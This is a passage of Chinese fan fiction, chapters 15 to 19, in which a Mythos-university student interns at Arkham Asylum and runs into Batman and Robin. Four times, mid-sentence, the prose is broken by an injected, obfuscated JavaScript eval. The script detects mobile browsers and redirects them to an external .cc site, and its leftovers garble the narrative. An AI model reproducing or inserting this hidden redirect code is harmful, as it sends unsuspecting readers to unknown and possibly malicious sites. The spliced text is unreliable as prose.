爱丽丝跟着费尔南德·阿什利教授租了一艘渔船，两人从挪威的一个小港口出发，靠着教授手中没有指针的黄铜罗盘追上了赫柏·斯坦顿号。那艘以某种未知能量为动力的大船看起来老旧，却并不破败，上面有不少乘客，有些甚至看起来是长期住户。阿什利教授和她在船上住了几周，与其他乘客社交（“天知道他们是不是活人，也许他们不是人类”，爱丽丝苦着脸说），还帮着迎战海盗（“他们肯定不是索马里海盗，那身装束更像是从加勒比海盗的片场跑出来的”）。实习结束前，阿什利教授要求她去“获得”一件无人看守的密教货物。 “确实无‘人’看守，”爱丽丝恨恨地说，“看守的是一头地狱三头犬。我被它追得差点跳海。” 奥德莉同情地安慰她几句，然后分享了自己的中东之行，以及被要求去刺客联盟取得拉撒路池水的经历。 “密大根本就是个盗贼联盟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293988|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧！”两个人无语凝噎。 “明年的实习，我一定要找一个在陆地上的，”爱丽丝说，“你不知道在渔船上我吐了多少次。” “最好是一个在现代大城市的文职，”奥德莉补充道。 大二暑假的实习，奥德莉选了一个科研类别的文职，地址也是确实是在一个现代大城市。 葛丽琴·维斯勒医生以最优等的成绩从密大毕业后，在伊丽莎白·阿卡姆精神病患犯罪疯人院工作十余年，发表过许多广受推崇的心理学论文。奥德莉在大二下学期听了她的讲座之后，觉得她的研究非常有深度，研究对象都具有罕见的特色，因此在看到她发起的实习项目后立刻报了名。 阿卡姆疯人院位于哥谭郊区，虽然哥谭的治安风评不太好，但远离主城区应该比较安全。新闻上说蝙蝠侠会把一些犯人亲自押送到那里，在那里实习也许还能见到偶像。奥德莉这样想着，完全不知道哥谭新闻在韦恩集团的控制下，省略掉了多少关于邪恶反派的细节。 由于航班延误，奥德莉出机场时已经接近午夜，没什么出租车在出口等客人。她站在那块写着“欢迎来到哥谭”的霓虹灯牌下等了很久，终于有一辆破旧的车停在她面前。 司机下车帮她把行李放进后备箱，他戴着一副茶色眼镜，身穿条纹衬衫和格子西装，头发和胡子都修剪得很精细。这个造型不太像在半夜勤恳工作的出租车司机，倒更像要去酒吧蹦迪的无业游民。 奥德莉好奇地多看了两眼，随口说：“哥谭的机场和其他地方真不一样，纽约机场外面随时都有排着队等候客人的出租车。” “哥谭很少有午夜到达的航班。”司机坐回驾驶位。 “我的飞机延误了六个小时，”奥德莉郁闷地说，坐进后排。“请送我去阿卡姆疯人院。” 司机从后视镜看她一眼，启动了车子。奥德莉见他迟疑，原本有些担心他会不愿意去阿卡姆疯人院，但这位哥谭人看起来淳朴又胆大，对此根本不忌讳。导航显示车程将近一小时，奥德莉便和司机闲聊起来。 “您这样年轻的小姐，去阿卡姆做什么？现在可不是探视时间。” “哦，我不认识那里的病人，”奥德莉说。“我是去暑假实习的。” “那您一定是学习心理学或精神病学的。”司机说。 “算是吧。”奥德莉含混回答，“维斯勒医生在准备一篇心理学的论文，需要一个助手帮忙采访病人和整理资料。” “阿卡姆的病人可是很危险的，您要小心啊。”司机说。 “谢谢您的提醒。我想医院一定有一系列措施来预防病人的暴力行为吧。” “捆绑床可不一定能困住他们。”司机咕哝着。“您要住在那里吗？那附近没什么出租公寓。” “是的，维斯勒医生已经帮我申请宿舍了。” “那您可一定要尝尝阿卡姆食堂的意大利面，特别好吃。” “好的，我一定试试。” 一个热心的哥谭人。奥德莉心想，瞥见后排座椅前的塑料隔板上贴着的司机信息——火柴·马龙——但是名字真奇怪啊。 16. 第 16 章 奥德莉下车后，司机一边掉转车头离开，一边打开通讯器：“罗宾，阿卡姆新来了一位暑假实习生，指导教师是维斯勒医生。查一下她的信息。” 火柴·马龙，蝙蝠侠的伪装身份之一，晚上在哥谭机场为一件案子打探消息。离开前看见一个年轻女子在孤零零地等待出租车，他担心对方的安全，便主动去载她一程。 只需要几句聊天，蝙蝠侠便判断出她是个对哥谭了解有限的学生，看起来没什么危害性。但自从哈莉·奎茵变成小丑女之后，任何和“阿卡姆”和“心理学研究”同时扯上关系的人都会得到他的格外关注。他想确保她实习完成后顺利地离开，而不是为阿卡姆再增添一位住户。 “收到。”达米安已经结束夜巡，正坐在蝙蝠洞的电脑前，多米诺面具被摘下放在一旁。他迅速地调取出阿卡姆的人力资源信息。“奥德莉·维特，纽约人，密斯卡托尼克大学大二学生。经历看起来没什么特别的。我会关注她。” 他顿了一下，绿色眼睛盯着屏幕上的高清照片，女生的黑发在脑后束成高马尾，无忧无虑的黑色双眸中闪动着对世界的好奇：“我觉得她有些眼熟，却想不起在哪里见过。” 达米安的记忆力一向很好，他会有记忆模糊的感觉这本身就很可疑。他立刻在全球各地的数据库中调取更多的信息，大量的字符在电脑屏幕上滚动：“机票记录显示她去年夏天在中东住了两个月，和我回刺客联盟的时间有重合。” 他思索着，说：“我在刺客联盟住了一星期，但是除了母亲与外祖父之外，并没见过什么人。”达米安的表情益发严肃，“除非我见过她，却没有那段记忆。但是我的记忆一直都很连贯，没有缺失。除了……最后一天，我在拉撒路池独自呆了一会儿，当时我觉得时间过得比我以为的快了几分钟。难道她用魔法操纵了我的记忆？” “拉撒路池。”蝙蝠侠皱眉，“如果她和那里扯上关系，我们迟早会和她再有交集。”他立刻联系魔法师扎坦娜，请她尽快来哥谭一趟，协助检测达米安的记忆是否曾受过干扰。 阿卡姆疯人院是由一座哥特风格的庄园改建而成的，历史悠久的主建筑群被用作诊室和病房，花园后面另外修了一栋现代风格的五层公寓，供阿卡姆的员工使用。 在夜班管理员那里登记后，奥德莉坐电梯来到三楼。这间一居室已经被清洁过，电器和家具一应俱全。她迅速地洗了个澡，就疲惫地休息了。 第二天早上，奥德莉被闹钟叫醒，看看窗外却还黑着，原来正在下雨。哥谭天气就是这样，大部分时间阴沉沉的，没完没了地下雨，太阳偶尔冒个头，但不久留。 奥德莉去食堂吃了早饭，感慨这里的员工福利真不错，免费的公寓、丰盛的餐食以及优美的环境，如果不是地处哥谭，可能投简历的人会抢破头。 她和维斯勒医生约好周六九点钟在办公室见面，看时间还早，便先在花园溜达了一圈才上楼。 花园里植物种类混杂，有些根本不是美国本土的植物，却有一种自然的和谐，仿佛每一株植物都在这里找到了自己的位置，安静地生长，安静地绽放——奥德莉仔细看去，才发现所有的植物都是栩栩如生的人造产物。事实上，阿卡姆的所有树木也都是假的。 这是什么行为艺术吗？来哥谭不到二十四小时，奥德莉已经数次感叹这个城市的奇特。 站在敞开的办公室门外，奥德莉轻轻敲门示意对方。维斯勒医生从电脑前抬头，笑道：“你来了。昨晚休息得好吗？” “很好，这里很安静。”奥德莉说。 “我也住在宿舍，五楼，有事可以随时去找我，不过我大多数时间在办公室。”维斯勒医生说，然后开始介绍实习内容。“我每个工作日都会留出下午的时间与三位病人面谈，但由于我负责的病人数量较多，和每个病人的见面的频率大约是两周一次。按照病情的严重程度，我分别用红色、黄色和绿色在名字那里做了标注。”她递给奥德莉一份时间表，上面列着和病人面谈的具体日程。 “护士们每天查房两次，但她们的负责内容是医疗相关的，比如确保病人按时吃药、不要伤害自己等等。我希望能更加密切地跟踪观察他们的心理状态，因此需要你作为我的助手，每天去察看和记录他们的情况。” 奥德莉点头应下。 维斯勒医生又说：“病人的活动时间是早上九点至下午五点，你可以在这个时间段内去活动室和病人见面。”她很严肃地叮嘱道：“五点之后，病人会被单独关在自己的病房里。你一定不要一个人去病房见病人，以免发生危险。” 虽然不明白维斯勒医生为什么这样强调，但如果一个资深调查员认为某种行为是危险的，奥德莉绝不会无视警示。她又连忙点头。 “你的办公室在我隔壁，工作时间是周一至周五。”维斯勒医生递过去一把钥匙，“下周一我把你介绍给病人们，之后我们每天早上九点碰面一次，我已经在你的日程表上标注了半小时的会议时间。” 然后维斯勒医生开始仔细讲解如何查阅病历、如何与病人对话和每日记录的具体要求，奥德莉完全不需要做笔记，因为维斯勒医生打开了一份详尽的内部备忘录，一切信息尽在其中。奥德莉被维斯勒医生折服——这就是科研人员的日常生活吗？ “周末两天你可以先安顿一下，也可以先熟悉病例。”维斯勒医生最后这样说。 “您周末不休息吗？” 奥德莉被维斯勒医生工作狂的劲头震撼了，她显然要在自己离开后继续工作。 “周中太忙了，周末值班通常清闲些，我才能静下心做研究。每当病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293989|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人陷入谵妄，我都会把他们的话巨细无遗地记下。周末时我会重读这些笔记，大部分是无意义的内容，但我终于从中读出了某种意义。”维斯勒医生笑了笑，“别担心，你不需要加班。事实上，我建议你下班后多四处逛逛，哥谭是个很有趣的地方。不过记得做好传送记号，有危险赶紧跑。” 被看穿了心思，奥德莉有点不好意思。好在维斯勒医生善解人意，只卷自己，不卷学生。 瞥见桌上立着的十周年工作的水晶纪念立牌，奥德莉好奇地问：“我听说阿卡姆的医生流动性很高，是不是只有您才有这个？” “琼恩·利兰德医生也有。不过的确，员工在这里总待不太久。对我而言，可能因为这里也叫阿卡姆，让我感觉没有离开校园，所以我不舍得离开。” 维斯勒医生开玩笑地说。“当然，也因为这里的工资是业内的三倍。” 三倍的工资也留不住人，可见阿卡姆的危险性，更说明维斯勒医生的过人之处。奥德莉佩服地看向维斯勒医生：“您在这里的经历一定很不可思议。” 维斯勒医生分享自己的职场心得：“夜班时我尽量待在办公室里。这里经常发生各种斗争，英雄和反派来来去去，不仔细掩饰踪迹却又不想让人知晓。这些凡俗之事与我无关，早上护士会去给莫名出现的新病人办理入院的。如果病人逃走了，那是保卫科的事情。如果病人受伤了，会有外科医生照顾他们。我只是一个柔弱的心理医生。” 奥德莉被维斯勒医生坦坦荡荡的两耳不闻窗外事的态度震住了。 “能力越大，责任越大，那是超级英雄的事情。” 维斯勒医生轻快地说，“我只是一个调查员，探索未知需要保持旁观者的心态。当你开始在意时，你就无法关注真正重要的事情了。” 显然，维斯勒医生选择待在阿卡姆并不是因为对希波克拉底誓词的忠诚，她只是选择在这里研习无形之术。在哥谭多年，她仍是过客。对于哥谭人的疯狂，她不想参与其中，也这样建议奥德莉。 “好了，你该去吃午饭了，”维斯勒医生看看时间。“食堂对员工免费，自从在这里工作，我从没自己做过饭。” 奥德莉站起身：“听说阿卡姆是靠韦恩集团的赞助维持运营的，经费这么充足吗？” 维斯勒医生解释道：“这是一部分原因。另外，住在这里的一些病人很有钱，讲究生活质量，愿意多付钱让自己的生活舒服一些，医院对他们的收费也特别高——你会被他们的病房陈设震惊的，和度假酒店没区别。有些病人没钱，则由韦恩集团支付他们的费用，当然也就没什么额外服务。” 也就是说，韦恩集团赞助蝙蝠侠，蝙蝠侠把反派关进医院后韦恩集团还得赞助反派的医药费。如果布鲁斯·韦恩对蝙蝠侠不是真爱，那什么才是？奥德莉在心里吐槽。 17. 第 17 章 午饭后，奥德莉去办公室苦读病例，发现哥谭的精神病人是如此的别具一格，个个不走寻常路。从新闻上看到罪行描述是一回事，亲眼读到他们对医生说的话则是另一回事——太精神污染了。她读了几个小时便觉得已经达到极限，再读下去可能会产生幻觉。 恰好这时出租车司机给她打电话，说已经在大门外等候，她立刻关上电脑，召唤出布莱克一起去主城区玩。 吸取了昨晚的教训，奥德莉提前给出租车公司打过电话，请他们在下午派一辆车来阿卡姆。接线员说司机最晚可以在五点去接她，再晚的话没有司机肯去。至于费用，接线员说了个让奥德莉肉痛不已的数字。 在外地人看来，各大网约车APP在哥谭的市场份额均为零是一件不可思议的事。但哥谭的出租车司机就是这么团结，垄断的结果是车费比其他城市贵出一大截。 看来昨晚的出租车司机是个异类，不但胆大，还收费低。 别无选择地，奥德莉约了五点的出租车，然后在办公室和宿舍分别做好传送记号。她原本便计划在市区做几个记号，之后靠传送出行，如今更是势在必行。 司机听到奥德莉的目的地是蜕衣俱乐部，露出很暧昧的笑容，还称赞她的选择正确：“这家店可是开了好多年，舞蹈表演是别的地方绝对看不到的。如果你的运气好，能碰上老板亲自表演，那可真是，啧啧。我从没见过那样美丽的印度女子。” 奥德莉知道蜕衣俱乐部的所有者是苏洛恰那·阿摩伐舍。听闻她要去哥谭实习，弗朗西斯·摩根教授建议她一定要去俱乐部看看，还给她讲了一些关于阿摩伐舍的故事。 “她是一位言语简练、精力充沛的女士，”摩根教授陷入回忆，“她的名字，苏洛恰那，在梵语中意为‘有美丽眼睛的人’，与她非常相称。她目光炯炯，从不眨眼。” “一百年前俱乐部的所有者也是这个名字，”奥德莉问，“是继承了名字，还是……” “是同一个人。”摩根教授说，“你在历史课上应该听说过清算人这个组织？” 清算人是一个国际知名的组织，它不参与漫宿的斗争，只谋求世间的富贵，主营业务是从自愿或非自愿的客户手中交换寿命，客户群体遍布各个阶层。某种意义上讲，它更像一家金融机构，还发行了自己的货币，即灰烬账簿。货币的形态与支票相似，计量单位是年，可通过焚烧使用。 “在清算人还存在的年代，人类在死亡面前也不再平等。”摩根教授叹息。“据我所知，清算人的首领杜弗尔曾是蜕衣俱乐部的常客，苏洛恰那拥有数量可观的支票。但算起来，也差不多快到用尽的时刻了。” 回忆着摩根教授的话，奥德莉很期待地抱紧了膝上的布莱克，对司机说：“我很期待能看到她的表演。”哪怕需要多去几趟。 司机从后视镜里看去，见后座上的姑娘激动地握紧手包，觉得她一定是个爱玩的姑娘，又给她介绍了一些本地特色酒吧，尤其推荐她去冰山餐厅：“前几年换了老板，装修更加豪华了，不过标志性的冰山装饰还在。” 布莱克瞪圆眼睛：“你们人类真是花样多。” “……你不会还是个未成年猫猫吧？” 奥德莉很有保护未成年的意识，“那我自己去好了。”她对那个冰山装饰很感兴趣，想看看到底是不是真的很丑。 “我已经成年几百年了！”布莱克抗议道，胖尾巴摇来摇去。“我想去。我要去！” 奥德莉揉了揉它的耳朵表示应允，布莱克满意地喵了一声，任由她把自己的耳朵揉圆搓扁。 蜕衣俱乐部的表演确实精彩，虽然今日老板没有亲自登场，一人一猫也是大开眼界。密大有几位专研蛾道路的老师，但毕竟是在校园，行为相对内敛，而俱乐部的舞者时刻散发着无尽魅力，举手投足充满诱惑。 奥德莉和布莱克都沉迷表演不想走，但考虑到第二天奥德莉要继续研读病历，还是在十点钟离开了俱乐部。维斯勒医生对工作很认真，奥德莉可不想在周一开会时一问三不知。 晚风轻柔，奥德莉喝了点酒有些燥热，便想在街上走走再回去。布莱克蹲在她的肩膀，轻若无物，却有毛绒绒的触感。 奥德莉自己感觉很安全，但是一个女子深夜走在哥谭街头，又因为不熟悉道路而拐进不算安全的街巷，在旁人看来这是个可以轻易得手的目标。她正和布莱克商量接下来每晚花天酒地的美好计划，几个男人忽然从不知哪里跳出来，打算劫财劫色。 对上这种街头混混，奥德莉觉得没必要逃跑，打算给这几人一个教训。她跟着教练训练了一年，虽然遇上专业人士肯定打不过，但防身绰绰有余。 但她还没来得及动手，两个义警已经从天而降。劫匪们一看到那熟悉的披风，立刻四处逃窜，都没等蝙蝠侠和罗宾说一个字。奥德莉被哥谭速度震惊，一时不知道该作何反应。 “这么晚独自走在这里不安全。”蝙蝠侠的声音低沉。 奥德莉眨眨眼，对蝙蝠侠和罗宾解释道：“我刚来哥谭，不知道这里危险，下次我会走别的路。谢谢你们。” 第一次直面自己世界的蝙蝠侠，她忍不住在心里将他和维多利亚时代的蝙蝠侠比较。体型没有那么高大——他的制服材料一定是最尖端的科技，看起来坚固但柔软轻盈，比起需要配置蒸汽动力和武器的战甲而言，体积自然会小很多。但是那双猫耳……哦不，蝙蝠耳，真的是一模一样。 蝙蝠侠习惯了别人的视线，感觉不到恶意便只做不知。他已经认出奥德莉，看了旁边的罗宾一眼，罗宾立刻点头，对她说：“我送你。” 奥德莉对上罗宾的视线，他戴着多米诺面具，半张脸被挡住，但那双绿色眼睛是她不会错认的。布莱克喵了一声：“咦，是刺客联盟那个守卫。” 是达米安。 奥德莉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293990|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想不通为什么刺客联盟的人会成为罗宾。达米安说他家和韦恩家有渊源，难道是指通过蝙蝠侠和韦恩先生有渊源吗？ 达米安很有礼貌，甚至可以说是语气温和，但态度也很陌生。 奥德莉猜测达米安是因为想掩饰身份所以假装不认识她，她不想戳穿，但也不想配合他演戏，低下头不再去看他：“不用了。我叫出租车回去。”市区还是有一些招手即停的出租车的。 达米安不需要往返阿卡姆，出租车司机多一笔收入，只有奥德莉的钱包受伤的世界达成了。 她低着头，罗宾以为她是害怕，耐心地解释：“虽然你是外地人，也应该听说过蝙蝠侠和罗宾。不用怕，我们不是坏人。我陪你去主街上等车。” 奥德莉只好答应，正要离开时又听见蝙蝠侠问：“你满二十一岁了吗？” 她没觉得自己身上的酒味明显，但蝙蝠侠还是发现了。脚步一顿，她心虚地说：“我二十一了。” 蝙蝠侠不赞同的目光投向她，奥德莉火速改口：“我快要二十一岁了。”十九岁，也可以算是快要二十一岁吧。 她真怕蝙蝠侠下一秒就要查她的驾照。合法购买酒精饮料的的年龄是二十一岁，但哥谭几乎没人会为这个查证件，谁能想到蝙蝠侠会问这个呢。她心里腹诽，决定明天就去弄个假的。 蝙蝠侠没再说什么，奥德莉赶紧小跑离开，罗宾跟在她旁边，待她步伐平稳后问：“你是来哥谭旅游吗？” 奥德莉只当他是闲聊以缓和气氛，以为罗宾的性格一贯如此。但如果她在六年前，甚至是三年前遇到这一任罗宾，她能听到的话多半会是“你太慢了，快点走”，或者只是得到一个不耐烦的眼神。 现任罗宾，达米安·韦恩，当然不是刺客联盟的守卫，而是被培养的继承人。他的母亲是塔利亚·艾尔·古尔，父亲是蝙蝠侠也即是布鲁斯·韦恩。他在十一岁时被母亲送到韦恩家，在提姆·德雷克之后接任罗宾。刚到韦恩家的时候，他只懂得刺客联盟的杀手教育和身为韦恩独子的高傲，尽管他智商极高，小小年纪已经有博士水平，但完全不懂得与人相处之道。 韦恩家的六年时光改变了他很多，他依然自信自己是最强罗宾，依然傲慢于自己必然是蝙蝠侠披风的继任者，也终于领会了蝙蝠披风的意义和责任。他没有完全认同蝙蝠侠的不杀主义，但他会在哥谭遵守这条规则。 最初在夜巡时，对于哥谭的普通人，他或是懒得理会，或是冷嘲热讽。但在蝙蝠侠的言传身教下，他学会了如何安抚受害者，尽可能地照顾到他人的感受。蝙蝠侠在反派的眼里是恐惧的化身，但在哥谭群众看来，蝙蝠侠永远可靠，他的出现代表了安全。大都会人民有太阳之子，哥谭人民有他们的月亮，月光并不炙热，却可以抚平人心的一切担忧。 对于他的好意，该配合他演出的奥德莉演视而不见，惜字如金地回答：“暑假实习。” 18. 第 18 章 面对奥德莉的冷淡，罗宾礼貌地不再多言，和她一起站在街边等车。空气中的沉默震耳欲聋。 五分钟后，奥德莉几乎是跳进了出租车，那句“谢谢”说得没办法更匆忙了。 望着出租车离开，达米安耸耸肩，在通讯频道问：“她好像不太喜欢说话？” “昨天她和我聊了一个小时。”蝙蝠侠指出。 “人们总是更愿意和出租车司机聊天。”达米安为自己辩解。 “也许那位小姐受了惊吓，没有聊天的心情。”管家阿尔弗雷德·潘尼沃斯在频道里说。他的代号是“便士一”，经常在蝙蝠洞里为夜巡的蝙蝠侠和罗宾提供支援。 此刻坐在出租车里的奥德莉完全没有和司机聊天的心情，她正在群里打字，布莱克坐在她的腿上聚精会神地盯着手机屏幕。是的，布莱克是一只有文化的猫咪，它不但会说话，还识字。 “我有一个朋友，遇到一件有点恼人的事情，拜托你们帮忙分析一下。”奥德莉以经典的“我有一个朋友”作为讲述的起点。 哈利第一个回复：“没必要假借别人的名义，你直接问吧。” “为什么凌晨三点你还没睡？”奥德莉没想到他还在线。 “在写论文。你快点讲。”哈利催促。 “我去年实习的时候在当地结识了一个朋友，回程前他说会来纽约找我。可他没有来，我们失去了联系。刚才我竟然遇见他了，但他假装不认识我。”既然被哈利戳破，奥德莉也就懒得再以第三人称描述，简明扼要地讲完，然后问：“他这样做的原因会是什么？” “管他是什么原因，就只是失约这件事，你也没必要再理他。”哈利的回答简单粗暴。 他看起来温和绅士，实则是很难接近的性格，对外人礼貌疏离，同时对亲近的人无原则地护短。在他的认知里，他是独生子，三个好朋友对他而言像是兄弟姐妹，甚至高于并不存在的兄弟姐妹，因为他们的感情并非基于血缘，而是基于自主选择。 “我今天已经假装不认识他了。”奥德莉说。 “干得好。”哈利回忆了一下，“去年没听你提过这件事，说明他不重要。那现在依然没必要为不相干的人浪费时间。” “去年我其实也生气了一阵子，但又觉得自己小题大做。没想到今天会遇见他，而且他表现得这么奇怪，我才会忍不住去想他这么做的原因。” “你不是在想他这么做的原因，你是在想自己是否做错了什么。”哈利犀利地说。伦敦已经是凌晨，疲倦的哈利总是不自觉地带点暴躁，说话也更直白。 “我确实是在想是否曾有失礼之处惹到了他。”奥德莉老实地承认了。他们对彼此太了解，抵赖毫无意义。 “你最大的问题就是容易内耗。”哈利说。“与其反省自己，不如指责他人。” “谢谢你的建议，毫无帮助。”奥德莉无语。“你快去忙吧，忙完早点休息，睡醒了你就能重置理性值了。” “所以你们不约而同地假装不认识对方？”格温问。 “他先这么做的，我只是不想让双方尴尬。”奥德莉说完，又想了想，“不过他戴着面具，可能以为我没认出他。” “你去参加假面舞会了吗？”格温好奇地问。“那你能肯定没认错人吗？” “非常肯定。”奥德莉毫不犹豫地回答。 “他会不会是真的没认出你？”格温问。 “应该不会吧，我的脸没有遮挡啊。”奥德莉说。 “他不希望别人知道你们认识？”格温猜测。 “有一阵子周围没有别人，但他还是一副对陌生人的态度。” “那他太不礼貌了，”格温也有点生气了，“不要理这种人了。” “也许他有什么苦衷呢。你是在中东认识他的，也许他的身份是不应该在美国出现的。”彼得纠结良久，此刻才回复。作为一个有秘密身份的人，他时不时需要把自己以不同身份认识的人区分开，避免穿帮。 他不希望我知道罗宾是刺客联盟的成员，所以假装不认识我？这个猜测确实有一定的可能性。 奥德莉的心情瞬间平复了：“彼得，你真是个天才。” “啊？”被夸得太突然，彼得懵了。 “你的猜测很有可能是对的。”奥德莉说。“帝国州立大学加十分。” “等等，”哈利忽然又冒出来，“你不是在阿卡姆实习吗？他是那里的病人吗？” “不是，”奥德莉被他天马行空的想法逗笑了，“我是在市区遇见他的。” “晚上十一点，哥谭市区？”哈利发飙了，“你还敢说我不理智？” “呃…”面对切换家长模式、恨不得将她禁足的的哈利，奥德莉意识到自己给出的信息有点太多了。“我马上到宿舍了。明天要早起，我要睡了。晚安。” 然后她迅速关掉群聊。 明早哈利会冷静的。她安详地想。 周日，奥德莉去办公室继续读病历。昨天她先从维斯勒医生标红的病人读起，理性下降极快，今天她读的是被标黄和标绿的病人，病人的症状轻一些，虽然类人群星闪耀的感觉依然不减，但她还是顽强地读完了。 休息时，奥德莉召唤出布莱克陪它玩。布莱克看见她那杯巨大的加了七份浓缩的冰咖啡，竟然悠悠地叹了口气，说：“咖啡哪有上班苦。” “你是不是中病毒了。”奥德莉震惊地捏住布莱克的两个小爪子摇了摇，“你是一只小猫咪，为什么会说出这种话。” “我在抖音上看到的。”布莱克眨眨眼。昨晚奥德莉回宿舍后把手机扔在一边，它足足刷了三小时的短视频才恋恋不舍地离开。 “天啊，漫宿生物也会染上网瘾吗？”奥德莉想一想，又觉得也挺合理。“你还看了什么？” “我还看到你收藏了很多猫咪视频。”布莱克想起来这件事，急忙瞪奥德莉一眼表示自己的不满。“你经常给那些猫咪点赞。” “它们都没有你好看，”奥德莉发表渣女言论。“我只是随便看看，我只陪你一只猫玩。” 布莱克还是不太开心，趴在黑色的键盘上，抬眼去看奥德莉。 “你是不是有什么想说的？”奥德莉摸摸它的头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293991|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“昨晚那个人，你还对他生气吗？” 布莱克问。 “不气了。”奥德莉说。“我决定按照哈利说的，停止内耗。不管他有什么原因，都是他的错。” “其实……可能也不是他的错。”布莱克用粉色的小舌头舔舔爪子，努力掩饰尴尬情绪。 “什么意思？”奥德莉问。 “你知道的，那天我忽然觉醒控制能力，对那个人是第一次使用。”布莱克重申自己只是个新手，然后说：“因为昨天发生的事情，我四处打听了一下，发现我这个能力可能有一个后遗症。” “是什么？”奥德莉看着布莱克心虚的眼神，有一种不太妙的预感。 布莱克吞吞吐吐地说：“除了被控制期间的记忆，我还可能会暂时性地影响到其它记忆，具体会是哪些我也不清楚。” “随机消除掉对方的一些记忆，并且不确定对方什么时候能恢复。”奥德莉总结，“那他不认得我，可能是你造成的？” 喵喵队闯大祸啦！ “也可能是他假装不认识你。”布莱克赶紧强调。“我的能力只是‘有可能’有副作用，没有定论哦。” “布莱克，你这个赖皮猫猫。”奥德莉被它逗笑了。 “我不想看到你不开心。”布莱克把小爪子搭在奥德莉的手上，轻轻地按了按。“我也不希望你自怨自艾，认为是自己做错了什么。” “谢谢你告诉我，”奥德莉反手握住布莱克的爪子。“无论是什么原因，过去的事情就让它过去吧。” 发现达米安是罗宾之后，她意识到罗宾一定是换过人。罗宾在哥谭活跃几十年了，即使他是不老童颜，总不应该几十岁还会长高吧？去年达米安比自己略矮一点，现在却高出至少十公分。 一旦顺着这个思路想下去，罗宾换过人，那蝙蝠侠呢？ 奥德莉根本不想去面对这种可能性，索性逃避现实，就当昨天什么也没发生过。 蝙蝠洞里，扎坦娜为达米安做了检查，反复确认几次后宣布结果：“你的记忆确实少了一部分，至少有十天的空白。” “不可能，”达米安和蝙蝠侠都十分震惊。哪怕只是少了一天的记忆，达米安都不可能毫无察觉，何况是这种程度的记忆缺失。 “我也觉得匪夷所思，”扎坦娜说，“不过那一部分记忆并不是被删除了，而是被掩盖了。因此，我认为这不是专门针对记忆的魔法造成的，更像是其它魔法的连带影响。我想你是有可能自主恢复这段记忆的。” “有办法加速恢复吗？”蝙蝠侠问。 “我可以尝试移除那一层屏障，但我担心会对他的记忆造成新的损伤。与其冒那么高的风险，我建议还是让时间来解决这个问题。” “如果时间能解决的话。”达米安说，“万一不能呢？” “你先考虑一下，需要的话随时联系我。”扎坦娜说。“另外，如果你有关于缺失记忆的线索的话，不妨多去接触，它可能成为唤醒记忆的钥匙。” 这建议和蝙蝠侠的安排不谋而合，他原本便要求罗宾关注奥德莉的实习情况，避免第二个小丑女的出现。 19. 第 19 章 周一早上，奥德莉充满期待地去上班了。维斯勒医生将她介绍给自己负责的病人，初次见面，病人们看起来都还算正常，至少没有当场喊打喊杀的。 “双面人”哈维·丹特甚至很亲切地和奥德莉打招呼。他的职业履历与其他病人不同，先是做了几年辩护律师，又为了心中的理想成为哥谭的检察官。但在法庭上被黑/帮分子泼硫酸致使半张脸全部毁容后，他内心的邪恶一面被激发出来，进而人格分裂。此时他穿着病号服，曾经如黄金般璀璨的发丝已经黯淡，但颀长的身形依稀仍有深受哥谭民众爱戴的“光明骑士”的风采。 “毒藤女”也主动上前和奥德莉搭话。她的本名为帕米拉·莉莲·艾斯利，突变并获得异能后被亲近的人称为“艾薇”。她是阿卡姆花园变成阿卡姆假花园的间接原因，直接原因是总有病人投诉她不讲武德，看谁不顺眼就直接召唤花花草草攻击对方。“在花园里种植真植物，无异于是给她提供武器，对我们太不公平了。”在数起纠纷后，院方毅然决然地采纳了多数病人的建议。 维斯勒医生离开后，奥德莉拿出自己准备好的谈话计划。她今天的目标是和每个病人都简短地聊一聊，对他们的情况获得直观了解。为了避免冷场，她设计了几个可能引起对方兴趣的话题，并在实践中很快掌握了打开各位病人话匣子的密码：蝙蝠侠。 阿卡姆的病人几乎全部是被蝙蝠侠送进去的，有的是被蝙蝠侠反复送进去的。他们一个个都声称自己恨他，但说的话听起来总是更像爱而不得导致的情天恨海。 